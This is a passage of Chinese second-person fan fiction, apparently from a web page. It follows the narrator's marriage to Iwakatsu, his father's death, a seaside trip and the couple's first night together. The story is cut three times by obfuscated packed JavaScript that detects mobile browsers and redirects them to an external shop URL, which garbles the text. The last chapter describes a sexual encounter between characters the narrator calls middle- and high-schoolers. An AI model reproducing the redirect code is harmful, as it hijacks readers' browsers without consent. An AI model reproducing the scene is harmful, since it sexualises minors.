那些在信件里往来的话变成你们晨起匆忙的对答,纸上没有的细节,两个人下意识的口癖、停顿的气口、结尾的语调也都在面对面中变得熟稔。 生活平静和谐得,仿佛你前前后后的痛苦纠结全是矫情。 已婚女性的自由度超过深闺少女,你负责起内宅的全部安排,越来越多的职权移交到你手上。七月十五盂兰盆节的时候,你用女主人的身份操持斋会,难度也就和举办一场班级联欢会差不多吧。 在阿系和其他老仆的帮助下,斋会顺利进行。你和岩胜一同上香,看到僧人在发愿文上写下“所愿福资法界,次及六亲眷属,若七世父母生天*,自在化生,入天华光”,诚心诚意地行了礼。 一个月后你的生日,只是简单地操办了一下,小小一张桌子上都是按你要求的熟食和新鲜蔬菜。岩胜特意留下来陪你用餐,两个人吃得很开心。 主导权在手,做什么都很方便,出门也简单随意许多,家里有病人,到寺庙借书看理由都是现成的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048774|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你逐渐恢复了上一世的习惯,大刀阔斧地精简办事流程,去除不必要的繁文缛节,多出空闲时间用来看看书、记几笔字,在窗下吹吹笛子。 你用一节切复刻了几首小学音乐课本上的曲子,音符简单,曲调优美。岩胜晨起练完刀,有时会完整地听完一首,用倾听的态度表达赞美。 你曾担心自己的技艺差朱乃太多,继国家的人没准会觉得班门弄斧,他认真的样子让你放心下来。 慢慢地,这个家开始染上你的色彩:壁龛内一幅水墨风格的挂画,桌上摊开的书本和裁好的笺纸,笸箩里缝了一半的手帕,镜匣、针垫闪闪的反光,空气里弥漫着淡淡的墨香…… 人只是生活在其中,外物自然发生变化。这间屋子,完全是你的空间了,它像家里的卧室和你住过的每一间学校宿舍,都变成一个模样:简单的家居用品,很少的装饰,还有排列有序的书籍、文具。 类似改变在整个继国家上演,一切都是在无意中发生的,不过,你有心保留了小佛堂的原样,香炉、拂尘等小物件的位置都没有挪动。 这里充满了朱乃夫人生活过的气息,你看着它们都能想象得到她是怎样虔诚地跪坐着诵经、祈祷,你不想破坏这种氛围。 这间小屋也成了你精神上的一处窗口,累的时候趴这里休息,光闻闻架上佛经散发出的墨香就能得到平静。外面有不好的消息传来,就学着朱乃的样子诵读一段经文,默默祈祷,不是真的信这个,而是需要一个仪式性的行为化解焦虑。 有一次,岩胜都换上了防身的盔甲,又特意折返回来教你不要担心。可你停不下来,把这当作业一样,完成了才放心。 阿系成了你的好帮手,她自告奋勇和你一起把朱乃生前收藏的各色乐器、曲谱还有其他一些小玩意儿打包、收拾好,妥善地保管起来。 “就放在后面的仓库里吧,”她建议道,“奴婢已经派人打扫干净了。” 后面还有个仓库?你好奇地跟着去看,发现只是隔着一条过道,是当年岩胜和缘一玩闹的地方。 仅仅三叠大小的小房间里,几乎什么也没放,你随意地扫了几眼,看到墙壁上挂着一只燕子形状的风筝,尾端连着两根线。 霎时间,过去的记忆一同浮现,你红了眼眶,阿系也在一旁擦眼睛。 这只风筝有放起来过吗?你不知道。 来到新的环境,沉睡在你身体里的青春期也开始苏醒。你穿行在针黹、笔墨还有杯碟间,说不清是哪一日,身上的和服就短了一截,露出细长的手腕、脚踝。 奶娘给你拆掉肩膀和下摆折回去的布料,放长袖口和裙裾,可衣服还是很快就不合身了。 你窜得很快,像地里拔节的庄稼,手脚、个子飞快地拉长,长肉的速度跟不上,一下子变得瘦骨伶仃,竹竿似的。 上辈子你也是在这个年纪猛长的,根据经验,一二年后初潮就会停滞,身体开始发育得饱满圆滚,直到生长期结束重新瘦下来。 你重拾身高焦虑,往门框上刻线记录,想起来就量一量。 奶娘也焦虑,一天看你八百回,念叨着:“不能再高了,再高不好看了。” 你充耳不闻,默默增加了饭量供给,天黑就吹灯躺下,保证营养和睡眠,铆足劲要长高。 有几次,奶娘实在看不过眼,抢过饭碗怒道:“还吃,吃多少才够啊。” 她痛心疾首自家精心培养的淑女竟然在嫁人后越来越粗俗,简直把她的脸丢尽了! 你理直气壮地抢回来:“我吃的哪里多了,这不就是正常饭量,是你吃的太少了。岩胜你说,我吃的多吗?” 岩胜停下筷子,默默地看着你身前叠起的空碗,盘里的鱼刺、鸡骨头,几个碟子里正要动的菜,你吃的也就他的三分之一吧。 “不多啊,”他谨慎地答道,“这不挺少吗?” 过一会儿他补充道:“不够再加,为什么要饿着肚子?” 于是你取得全面胜利,高兴得又多吃了碗饭。 以夫为天和少食观念的冲突让奶娘的脑子直接宕机,你开启了爱谁谁的美好日子。生食丢开、席坐丢开,只要不见外人多层礼服、白脸妆和剃眉毛通通丢开。 不像你的父母,岩胜不会把一个人的生活习惯和他的道德品行联系在一起,你可以按喜好安排自己,同时不必承担某种指摘。 你的要求不高,这样就很好了,已经比预想的要好了。 要说遗憾,也是有的。那就是,你都这么努力了,也没长到理想身高。 第一年,你估摸着窜了有十厘米,第二年就乏力了,才四五厘米,都没突破一米六的大关。 你对着门框比划半天,终于气馁,反正也没有尺子来验证,就当已经一米六了吧。唉,差上辈子还有一截,谈什么理想身高? 虽说绝对值不大,这个时代,你足以傲视大部分女性,可到了岩胜跟前,只能称一句娇小玲珑了。 你的手从刻痕上划过,移到虚空中,往上一抬,正对准岩胜头顶的位置。 “在做什么?”他问道。 你维持姿势不变,闭目长叹:“你也太高了!” 这得有一米八多了! 他本来就高挑,这些年就没停过匀速生长,个头一年比一年可观,你想要靠着男女生长期不同短暂压他一头的想法完全落空。 凭什么呀,大家都是初中生,不应该女生比男生高,男生后面才追上来吗?不公平! 你心中恨恨,学着奶娘的腔调道:“不能再高了,再高不好看了。” 他笑笑,拿下你的手:“这么想长高?” 你抱头鼠窜:“别摸头了,摸头长不高!” 9. 第 9 章 婚后第四年,继国家主的生命走到了尽头。不需要祈福的僧人委婉提醒,不看医师频频摇头的脸色,任何一个见到他的人,心里都会想:时候到了。 他病了太久,也颓废了太久,久到大家已经在过程中接受了这个结局,并不感到惊慌。 他自己也没多少感觉,趁着还撑得住,反复向唯一的儿子确认后事的细节。 “合葬的事就不说了,墓穴没封,位子都是安排好的,动土前你多看看,不要进了雨水。” 他耷拉着发黄的眼角,语音也是含混的,但一句、一句条理很清楚,看来是思考有一阵了。 “葬礼、法事,和你妻子商量着办,我就不多说了。” “还有一样,”他咳嗽几声,语气重起来,“下葬的事别拖,不用挑什么日子了,装裹好就入土吧,别多折腾我。” 你一直应声点头,到这里不由停了一下。家公最重视福祸吉凶,人生最后一件大事上,却都看开了。你心情复杂,不知说什么好。 岩胜表情淡淡,答应下来:“父亲大人放心,不去纳骨堂,我们就从家里出殡。” 你赶紧附和:“父亲大人放心,不会拖的。” 继国家主躺下长出一口气,闭上眼再不开口了。 你和岩胜交换眼神,轻手轻脚地退出去守在门外。这些天,你们谁都不敢离这里太远,饮食、休息只好凑合着来。 岩胜先靠着柱子坐下,外面宽敞的一侧留给你,你们肩并肩、腿靠腿挨着,留心屋里时断时续的呼吸。 掌灯时分,那声音陡然急促起来,伴随着瓷器的碎裂声,你们猛省过来,一起推门冲进去。 你慢几拍,差点儿一头撞在屏风上,幸好岩胜的手牢牢地托在肋旁,你几乎是给他抱进去的。 屋内,家主佝偻着坐起,双目赤红,一手揪住被单,一手紧紧地攥着胸口,快速地进出气。 “父亲!”岩胜终于色变,明白他已在弥留之际。 你双手稳稳地摁在他的双肩,引导着他坐在榻前,找来水用手帕轻轻润湿家主的嘴唇,一边徐徐地拍背给他顺气。 “不要拖,”他艰难地发声,“不要拖,要尽快……” 你哄着他:“不拖、不拖,全听您的。” 他不肯停下,喃喃地重复。岩胜俯下身凑到他耳边:“父亲,别怕,全都准备好了,一定让您和母亲一块,我们一天、一个时辰也不等,您马上就见着她了。” 你呆愣愣看向丈夫,还有神色渐渐平和的公公,万万想不到正确的应答是这个。 面上的红热退去后,青灰的衰败一点点浮现,他轻声道:“好、好……” “你妻子,也好……”他喘着粗气,“你和她,好好过。” 又转过头看你:“你好,朱乃也喜欢你,她、她看人比我好……” 这会儿,你觉得他好像是笑了一下,可细细地看过去,脸上那些深陷的沟壑一条都没有颤动。 “你们,好好过、好好过,不要像、像我……” 泪光中,烛火晕成一片昏黄,你低头咬住袖口,唯恐发出泣音。就在你以为这天就要这么过去时,岩胜的声音突兀地响起: “父亲,但我不明白,”他说,“您真的爱母亲吗,她还在的时候,您有一天因为爱为她做过什么吗?” 你惊讶得忘了流泪,更加惊讶地看到病床上的男人露出那样受伤又不安的表情。 “我、我……”他结结巴巴、眼神躲闪,甚至不敢看自己的儿子。 “可、可我爱她呀,”他痛哭流涕,全然不顾父亲和家主的权威,“我是爱她的呀!这辈子,我都做了什么……” 被呓语、梦魇折磨了半夜后,继国家主在黎明时分咽下了最后一口气。 那一刻之前,他都不断地念叨着亡妻的名字,偶尔也带几句那个消失了的孩子,缘一。 问完话,岩胜就一副心神飘渺的样子,他不知荡到何处去的灵魂被这一声声呼唤强行拖拽到现实,承受近乎拷打的痛苦。 “我是猜的,他和母亲……他们有任何话都是吵架……为什么,是这样?” 岩胜的表情时而茫然、时而痛恨。他抱着诘责的态度逼问父亲,不期然得到肯定的回答,这在他完全等同于背叛。 他被尊敬的父亲背叛。 你听到牙齿咯咯作响的声音,他正脊背弓起,如临大敌。 这一家的哀痛成为你的哀痛,你未干的泪水流淌而出,回过身,额头轻轻地抵在他的胸膛。 又是几声痛呼后,家主全身不自然地痉挛,喉头闷塞,发出嗬、嗬的声响。 岩胜用力地抱一下你,起身过去摁住他。 你再也承受不了,哭着跑了出去。 “我不会像你,”岩胜飞快地说道,“这个你大可放心,我不会像你一样,你听到了吗?” 家主已说不出话,瞳孔涣散开。 “我会成为最强的武士!”他大声道。 “我比你更清楚自己要的是什么。” “父亲,你看着吧,我会做的比你好,比所有人都好!不管是刀还是……” 咚,屏风掀开一扇,差点儿整个倒下去。 你跌跌撞撞闯了进来,泪痕在脸上纵横交错,双手紧握着一支尺八。 “您还记得吗,岩胜还记得吗,这首曲子……” 你吹起朱乃交给你的唯一的一支曲子,她家乡的小调,从小就吹奏、演唱的曲子,眼前又浮现出她教你时的情形,那会儿朱乃总是让岩胜和缘一在一张桌上吃饭,她自己不动筷子,就只微笑着看他们吃东西。在一起不可挽回前,他们一定有着关于它的美好回忆。 笛声呜呜咽咽地响起,你努力地要把它吹得更加更听,每一次调息、浮沉都完美地融入到乐声的流淌中。 一曲终了,家主皱缩一团的面孔舒展开,岩胜愣愣地坐着,绷紧的肌肉松弛下来,你累倒在地,没有一丝力气。 太阳升起,医师小心地靠近,伸手试探鼻息,几次后,宣告继国家主死亡。 家中升起了白布,你还记得母亲去世时的情形,照顾岩胜换上丧服,将灵床移到朝北的方向,派下人去各处报丧,僧人们鱼贯而入,屋内响起诵经和木鱼敲击的声音。 岩胜兑现了他的诺言,丧礼在当天举行,发丧、出殡没有超过一日。 你穿戴上一身黑色,跟在主丧的岩胜后面,看着棺木落下,阴阳师念完咒语、撒了符纸,在四角咚咚咚地钉上长钉,心脏跟着咚咚咚地跳。 昨晚的事历历在目,你又落下泪来。 这么多年,你就没看清过继国家主这个人,你对他的印象就是迷信、善战、对家人冷漠,因为朱乃终日苍白疲惫、早早逝去,还有缘一走丢的事,你在心里早就把他当做了一个很坏的人。 可他在妻子灵前的哭声、临终前的坦白又让你疑惑了。他亲口承认爱的那刻,你和岩胜同样感到了巨大的荒谬。 他居然是爱妻子的,怎么可能?这就能叫爱的话,生活岂不是一场谎言? 你想,自己怎么共情岩胜的被欺骗感都是不够的,你甚至觉得自己父亲那样明确不爱妻子孩子的态度都要好得多。 封住墓口,立起一块木牌,写上逝者的戒名。岩胜以继承人的身份上前行礼,你回过神,赶紧递上盛水的竹筒。 岩胜接过,像一块沉默的铁。 水浇上去的时候,你又想,或许此人也不是完全说谎,乞丐的全副身家也就一点儿,他所谓的爱也一样,只值轻飘飘的一句话,唯有带给他人的痛苦是致死量的。 多么可悲啊。 活着的那会儿,因为习俗、因为迷信、因为传统和偏见,两个人之间只有互相指责和无休止的争吵,直到死亡跨越所有,一切俗世的规则消亡,他终于能承认仅停留在心理活动的爱。 更加可悲的是,爱人也好、做事也好,都无比糟糕的继国家主还是能够如愿以偿,他有优秀的儿子传承家业,死后也和自己认定的妻子合葬,谁也不能这点上忤逆他,可朱乃呢?有谁会问问她的想法呢?她爱过自己的丈夫吗,想要和这样一个人生死同寝吗? 答案湮灭在风里,无人知晓,无人在乎。头一回觉得,人死后无知无觉,真是太好了。 你想起了新婚夜里到底没能说出的平等,心中涌出更大的哀恸。 丧礼结束,人群散去,你还是哭得停不下来,像是要将岩胜的那一份一同宣泄出来。 “岩胜。”你知道,接下来要说的话在这里完全是大逆不道,可要是不说的话,你过不去。 “不想原谅他,就不要原谅了。”你说,“爱不是这个样子的,绝对不是。” 他搀扶着你,送上回程的牛车。 “我们不要说这个了。”他道。 斗转星移,死亡的阴影从继国家慢慢消退。一人逝去的空白,你用日夜的细心填补起来。 你们搬进了中心的堂屋,一点点翻新里面死气沉沉的布置。 里里外外的打扫不说,病人用的痰盂、药炉搬走,方便起身用的凭几换成轻巧的坐垫,笨重的装饰全撤下去,屏风、帐子、竹帘还有榻榻米的缘边也都换成了更清新的颜色。 有一阵子,你每天提出一个新主意:这个柜子挪一挪啦,那个架子重漆一遍啦……除了堂屋展示的那两具历代家主盔甲不能换,你努力让每一处角落都呈现出和过去不同的感觉。 至此,继国家的最后一块“自留地”也完成了内部改造。这个过程里,即使你大部分时间只需动动口,也颇觉得费了不少脑筋,好在最终效果是可喜的。 岩胜眼看着全部工程一一落地,偶尔也来提几点可行性的建议,没让你天马行空地搞出什么奇奇怪怪的东西。 有时,他也不解你的用意,比如安装在廊台上的付书院,你设计的高度明显超出惯例好几倍,前面的障子也太宽,还有那个怪模怪样的坐具,长长的四条腿,倒是正好塞在天板下面。 他看得出来,只有这部分你是留给自己的,就没有发表意见。他自有办法分辨出哪些是异想天开,哪些是你有自己的想法,后者他从不稍加阻拦。 当你终于宣布要休息休息享受劳动成果时,他认真地看着你,问你嫁过来到现在是不是真的满意。 他曾经以为事物就是它们看起来的样子,现在已经失去这种自信。 你拉着他的手绕了一圈,从外廊一直走到最里面的卧室,仔细参观家里的变化。 “你觉得怎么样呢?不要顾虑我,请直接地说出来,因为你的感受就和我一样。” 他游目四望,不像打量一座宅邸,倒像是咂摸体味着什么。 “这些都很好,可我想知道的是你过得怎么样,我希望你在家里至少是不那么难受的。” “我吗?”你用开玩笑的口吻道,“我当然过得好了,再有一套合心意的家具就完美无缺了。” 他看了看四周,你确实只换了用的东西,家具还是原来的。 “想要什么样的都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048775|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以换,家里你待得久,要先让你喜欢。” 你笑笑,知道他没有听懂。 “不要回避问题,看看这里,你的感受是什么?” “谢谢你。”他轻抚你的额头,带着你靠过来。 “谢我什么?”你的声音从他的肩膀下闷闷地发出来。 “你为我做的一切。” 大概是新居的新气象扫清了阴霾,继国家的生活不再与从前一致,说不出具体是哪里的作用,细微的变化足以带来不小的改观,你相信岩胜有轻松许多。 无需照顾病人后,你肩负的家务事几乎可以说没有,在有大把空闲可供挥霍的条件下,每天的日程安排直接重返大学时代。 晨起,岩胜在院子里挥刀,你就坐在精心设计高度合适的书桌前看书,两条腿舒展地垂在凳子下,窗子拉开亮堂堂的。 朱乃的佛经,还有各处搜集来怪谈故事,你都看得津津有味。特别恐怖的你就跳过去,有趣的夹上书签反复品读。有时读到妙处,按捺不住,你捧着书到岩胜那里读一段给他听。 你喜欢把写的好的文字读出来,它们往往有优美或壮美的表意和流畅的结构,读起来字音在舌尖盘桓,那特有的韵律从胸腔内升起,水波一样漫到全身,你在一次次的回味中明白“荡气回肠”四个字是多么贴切。 上一世,爸爸妈妈、朋友,每一任同桌、舍友都当过你的听众,现在这个角色由岩胜充当。 他看出你的喜好,外出时留心帮你搜罗了好些物语小说、随笔、歌谣。你的激情朗诵,他总是耐心地听完,然后发表一两句点评,简短却切中肯綮。 你更专业,但他才具有时人的眼光,能看出你察觉不到的东西。你有时豁然开朗,更多时候扼腕痛惜,恨不能掏出电脑,码几篇论文去投c。 发表不了论文,你也把想法、见闻如实地写下来,能攒出一部生活史、风俗记录之类的书,也不枉穿越一场了。 还有少数的情况是,你读着读着,突然合上书掩面长叹。岩胜一愣,慌忙过来问你怎么了。 “没什么,写得太好了!” “书好看还不行吗?” “行啊,太行了,能写出这种书的人简直是天才啊,我这辈子都别想写出来了!” 你有阅读、鉴赏的能力,也有投入其中的热情和定力,唯独没多少创作的天分,退而求其次走学术道路。就算心里认了命,每次看到天才和凡人的鸿沟,还是很难保持淡定。 “岩胜,我以前想过要是可以让上天拿走我十年、二十年的生命换写作的才华就好了。可是我又想,这算什么牺牲?简直太划算了吧,多少人付出的远比这多,也没有得到才华之神的眷顾啊。” 岩胜放在你手背上的手僵住,你反手握住,问道:“这要怎么办啊,我觉得我调理不好了。” 这是玩笑,你其实早接受了。书照读,笔记照写,累了就起来吹吹笛子,踢踢腿、弯弯腰,拉伸一会儿。 朱乃送的一节切早不适应现在的手型了,你拜托岩胜找人新定做了一只,样子仿小学生用的六孔竖笛,这样能吹的曲子更多了。 就算不是天才,你也选择度过不断增加新知识的一生,时间用来学习你才感到充实有意义,生命因此丰满,并且在感官上延长。 不读书也有快乐的时候,比如今年夏天岩胜带你到海边。 因为武士的职责,他经常需要外出,走得远了晚上就扎营在野地里,据他说,这些年从日本海的海岸线到山那边三百公里远的地方都已走遍。 你羡慕了很久,没想到有一天他会带着你来。 日本离海最远的地方也就一百多公里,差不多北京到天津。为了照顾你,岩胜原计划分两天走,你拒绝被人小看,一路不停,当天晚上就到了。 浓黑的夜色下,海洋也像极了一个巨大的黑色深渊,吞吐着黑水。到岸边又是完全不同的感觉,古代没有光污染,月亮晕出五色的华彩,天上的星星多得喧嚷,和岸上的点点渔火遥遥呼应,让人心里涌出无限的温暖。 你知道很多杂七杂八的冷知识,唯独没有一点天文学储备,要岩胜指给你才分得清哪个是牵牛、哪个织女,北斗七星又在哪边。 你们在漫天的银河下奔跑,忘了旅途的疲倦,一直跑到海边,海水打湿了草屐和袜子,一点冰凉凉的感觉都没有。 几个船边光着脚的小孩儿趁机围过来向你兜售他们捡的贝壳,你来者不拒尽数收下,岩胜掏出一大把钱,他们惊喜的欢呼让他也忍不住笑起来。 这时正是秋刀鱼洄游的季节,鱼群在夜间上浮,倾巢出动进食海面的虾类、鱼卵,和涨潮退潮的声音一起鼓噪。 密密匝匝、蜂拥而至的小鱼们拼尽全力为之后的繁衍期积蓄脂肪,海边的渔民利用了这一点,连夜架起小船点灯吸引它们过来一网打尽。 宏伟盛大的生与死在同一时刻上演,正从更远之地奔赴而来的秋刀鱼们不会知道终点是新一代的诞生,抑或渔网,生命迸发又消亡的过程绝不是无声的,你和他手挽着手听了很久。 后半夜,渔民来给你们做饭,分不清品种的贝类、小鱼小虾煮了满满一锅,还有各色生鱼脍、刺身,酱汁不复杂,但一看就知道新鲜。海洋生物不用担心寄生虫问题,你开开心心吃了个饱。 饭后也不回屋,你们互相枕藉着躺下去,就在正对着海岸的屋檐下,一直看到太阳升起,在大半个海面上泼染出暖橙橙的黄。 你想,就这样过一辈子也挺好。 10. 第 10 章 随着岩胜正式交替成为继国家的新一任家主,你们最忙的时段过去了。过渡期的手忙脚乱还近在眼前,显得现在无所事事。 就连之前你最担心的事,和其他夫人交际,也得到了完美的解决。 用岩胜的话说“不想去就不去,你不必看她们脸色”。你懂,真理在大炮射程内嘛,于是这一项就划掉了。 或许是因为日子过得太舒坦,奶娘近来看你格外不顺眼。 你认为她不公平,岩胜外出是办正事,在家是养精蓄锐,你跟着出去玩就是瞎胡闹,留家里看书写字也要被说是不务正业。 你总躲不开她的唠叨,就反问道:“我有什么正业没干?” 天地良心,你每天早起早睡,起来收拾好自己就指挥大家打扫干净屋子、饭菜按时上桌,这不就是儒家说的“鸡初鸣,咸盥漱,栉縰,笄总,衣绅”“顺于舅姑,和于室人”那一套? 哦,对了,你上头没舅姑了。 总之,你贤惠得很,谁能挑你毛病。 奶娘眼睛瞪起来,声音却压得极低极快:“孩子呀!你们一点动静也没有吗?唉呀呀,你母亲这个年纪,孩子都两个了。” 这个年纪?什么叫这个年纪?你一个高中生,还是个孩子呢,就要被催生了! 不听不听,王八念经!你触电一样弹射挑起,逃之夭夭。 晚饭时分,岩胜发现了家里气氛不对。 奶娘坐得远远得,你低头扒着饭,筷子数着米粒吃。 岩胜看看这个,看看那个,劝解道:“奶娘爱唠叨些,她是关心你,你们不要闹矛盾了。” 你着急忙慌地抬起头:“没,我们才没闹矛盾呢。” 天呐,你可闭嘴吧,千万别掺合进来知道吗? 接收到你眼里恳切地信号,岩胜停顿一下,装作无事发生继续吃饭。 在你这里找不到突破口,奶娘迅速行动,给自己找到了一个好帮手。 那天,岩胜在外面忙完了回家,脚才跨过门槛,阿系就款款地迎了上去,几句话后拽着一头雾水的他进了旁边屋子,你在门内端着茶杯,看得目瞪口呆,脑子里只剩两个字:完啦! 之后,饭是你一个人吃的,他不知道是什么原因一直没过来,你心乱如麻,从没这么胃口差过,动了一点点就吃不下来。 你放下筷子,坐着不动,心里早像热锅上的蚂蚁一样焦灼了。 这种受煎熬的感觉在临睡前达到了巅峰,你抱着被子坐进去,忘了躺下,呆呆地望着推拉门前的一小块空地。 那儿有阴影投下,刷啦一声,灯光照亮,然后合拢,屋内重归昏暗。 布料窸窣的摩擦声响起,是岩胜将羽织外套挂到衣架上,掀开被子的一角躺了进去。他夜夜如此,唯一的区别是你没有睡眼惺忪地起来,向他道晚安。 更换寝衣时奶娘的叮嘱犹言在耳: “我没想到你们……唉,也对,你们两个母亲都走得早,没人说这个,是我疏忽了。” “姬君别怕啊,你躺那儿就行了,千万别乱动啊,忍忍,以后就好了,女人都这样……” “还有啊,你要……” 黑暗中,你如临大敌,手指绞紧,被子上抓出一道道痕。 岩胜也坐起慢慢靠过来,你不敢动更不敢看他,头埋进膝盖,免得眼里的情绪暴露出真实的想法。 不是没想过这天,但它真的到来才明白,准备是没有用的。 这些年,即使是过得最轻松的时候,你也在暗暗地焦虑这件事。担心成了习惯,以至于连自己的情绪读忽略了。 古代日本没有天然橡胶树,其他材料的结实度都很可疑,只能想别的办法。 抓药时委婉的打听、翻书摘句地搜寻,结果就是你从不同的医师那里得到一包又一包朱砂,还有人热心地教你怎么加热冶炼出水银喝下去。 这不就是没招了吗?你只能自欺欺人,拖一天是一天。 终于,拖不下去了。 “我……”岩胜停在一个合适的距离里开口,声音茫然又紧张。 可你已顾不上别人的情绪了,他只说了一个字,你就害怕得发抖。 两辈子加起来,你也没碰到过这种事。人的成长不是年岁简单相加,前世今生,你都没有完成单身恋爱、未婚已婚的身份转换,就算实际年龄大岩胜好多,也无法在心态上平等视之。 他紧张,你只会比他更紧张。 “我……”他口干舌燥,咽咽唾沫一口气道,“阿系给了我一副画。” 你崩溃:“我不要看!” 他也把头低下来,手里的纸越揉越皱。 “你实在不愿意的话,那我、我也……”他说不下去了。 你懂,你们的结合不是出于感情,也就不可能因为谁不情愿就擅自终结。 他的未尽之言只能是谎话。 你呜呜咽咽地哭了出来。太丢脸了,多么危险的时刻都没掉过泪,竟然在这种情形下哭成这样。 你深呼吸试图调整,气息一错乱,哭得一抽一抽的,更丢人了。 “你,”他把纸折叠起来,放到一边,“新婚的时候就在哭,现在也是。” 不知不觉间,他已找回从容不迫的节奏,就是声音透着冷:“你其实是不愿意嫁过来的吧,如果是这样的话,我也能……” 他想说“我也能想办法,分开住就好了,不会让你无处可去受人非议的”,你不明所以,哭着打断了他:“我、我怕生孩子。” 他愣住,猛然间想起你的母亲是难产去世,顿感他之前的揣测实在过分,懊恼之下,又不知所措起来。 “别,别哭了。”他结结巴巴地安慰着,帮你拭去眼泪。 说出了心里话,你好受许多,渐渐止住哭泣平静下来。 “我没有……”好吧,你是有些不愿意的,“就是、就是,我们能不能晚点生啊……” 你说着说着,脸烧了起来,烫得人晕晕呼呼,最后几个字只剩下气音。 他好久不说话,你捂住脸,蜷缩着躲进了被子,恨不得有个地缝钻进去。 良久,被子外传了短促的笑声。 “好。” 你憋得快要背过去,闻言赶紧探出脑袋:“那我们说好了!” 灯灭掉,你们像往常一样并排躺着。那张画被你抢了过来,压在枕头下。 你试着放松,但过山车一样的情绪起伏仍在胸中激荡,你闭上眼好一会儿还是睡不着,估计岩胜也是。 听着他起伏不定,时而低沉、时而粗重的呼吸,你想到,等他什么时候睡着,你才能放心睡吧。 又等了好久,你估摸着差不多了,悄悄转过去一看——好嘛,这位眼睛睁得铜铃一样,你一口气堵在喉咙,差点跳起来。 “干嘛吓我呀!” 这下好了,你仅有的一点睡意也没了,直接怒视他。 岩胜不自在地调整一下睡姿:“我没有啊,就是睡不着。” 你怨念满满重新躺下:“别瞎想了,睡。” “好。”他干巴巴地应声。 沉默在你们之间蔓延。 都怪奶娘,也怪阿系!你们纯洁的舍友情再也回不去了。 你依旧睡不着,他也是。 你烦躁地踢踢被子,他翻过身。 夜怎么这么长? 你觉得有些口渴了,怕喊人惊动奶娘,摸索着慢慢爬起来。 噌!岩胜坐起来。 “你怎么也来吓人?” 你委屈:“我哪有?” “你不吓人,干嘛头发挡着脸?” 你气地抓起一大把头发:“它就这么长,怪我咯?” 岩胜起来给你倒了水,你咕咚咕咚喝完,余怒未消。 “明天还有事呢,快睡。” 说完,你瞪着眼睛开始数房梁上的木头,尽量降低自己的存在感,岩胜却没那么配合了,他把水壶放回去,重新倒一杯,学你仰脖干掉,回来也磨磨蹭蹭的,躺下翻来覆去。 他的一点噪音在你耳里都无限放大,你怒火重燃,正要说什么,他凑近来,头埋进你的肩窝:“一次的话,不会有孩子吧。” 你伸手捂住了眼睛。 身为一个没吃过猪肉但见过很多猪跑的现代人,你有丰富的理论经验:大考前看的解压小x文,新奇的想象和描写让人脑洞大开,文艺片里破碎摇晃的镜头、暧昧的光影和声音,共同组成唯美的亲昵画面…… 但你同样忘不了,以为自己攒够了知识遂点开翻墙下的片,你在男演员掏出那家伙后,啪一下点了关。 理论是理论,现实是现实。你自己最多接受文字。 可即便是文字,也不是每次都能吃下。看多了,你甚至会害怕小说描写的角色无节制的沉迷,那种过激的投入你已体会不到美感,驾驭躯体不再是自我,而是夺舍的强烈的动物性。 也不光是X文,某类戒赌小故事、大胃王视频也一样,情绪完全被外物俘获,深陷某种欲望理智都丢掉,感觉离人已经挺远了,你会心理不适,是因为触发了类似恐怖谷效应的机制。 这些描写究竟与实际有多少相关,似乎马上就可以验证了。 你胡思乱想,脑子里一片乱七八糟。 热气呼到脖颈间,你瑟缩着,捂紧了眼睛。 触觉屏蔽不掉,每一秒都比上一秒更难捱,你忽冷忽热,疼得哆哆嗦嗦。平时就很在意的身高差,这会儿更是痛苦的根源。 奶娘说,你只要躺下,忍过这一晚就好了。你不行。 眼泪要出来了,好疼。 对了,她还说,不要哭哭啼啼让男人扫兴。 她话怎么这么多? 你知道,现在这个样子,绝不像是贞静柔顺、以夫为天的传统女人,但不管是你还是岩胜,都顾不上这一点了。 你们徒劳地贴近、分离,热汗涔涔。 好痛,好奇怪的感觉,两个人竟然可以亲密到如此的程度…… 你肩背拱起,感到自己凸起的脊柱在他滑动的手掌下像一粒粒念珠,贴紧的位置传来的奇异触感,和疼痛交替着出现。 忽然就理解了为什么有人会很重视这件事,会把伴侣当作是一生最亲近的人。 “我、我也要看画。”你又流出了眼泪,用力揪住岩胜的衣襟,手指抖得要滑下去。 岩胜狼狈地伸长手在被褥里翻找,纸张展开,你看到一群火柴人用各种姿势跳舞。 这、这谁能看懂啊! “呜……”你真的哭了出来,止都止不住。 书上果然都是骗人的! 你度过了今生最漫长的一晚,呼吸动作都在拖长的时间中变得粘稠。 倒在他结实的胸膛,你整个人晕晕乎乎跟着起伏,好不容易鼓足了勇气: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048776|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我、我想,先亲一下,会不会好?” 他一声不吭,拉着你向上移动。 直到最后,你们精疲力尽,相拥着倒在一起,胡乱睡了一觉,醒来头发都是乱糟糟的。 